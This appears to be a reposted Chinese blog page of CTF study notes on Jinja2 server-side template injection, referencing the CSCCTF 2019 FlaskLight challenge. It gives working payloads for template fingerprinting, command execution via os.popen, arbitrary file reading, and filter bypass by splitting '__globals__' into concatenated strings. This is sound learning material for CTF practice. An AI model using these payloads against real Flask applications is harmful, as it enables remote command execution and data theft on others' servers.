ssti模板注入jinja2 之[CSCCTF 2019 Qual]FlaskLight

2023-10-29

知识点:

 输入{{7*'7'}}或者a{*comment*}b判断模板类型:

返回7777777是一般是jinja2

关于jinja2 的payload:

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

其中第一条payload中的[id]可以替换成命令,如ls,cat等,第二条payload的[filename]也可替换成文件名称.

关于绕过,如果禁用了_globlas_

可以采用拼接绕过或者切片绕过:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls').read() }}{% endif %}{% endfor %}

例题参考[CSCCTF 2019 Qual]FlaskLight_yym68686的博客-CSDN博客

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ssti模板注入jinja2 之[CSCCTF 2019 Qual]FlaskLight 的相关文章

随机推荐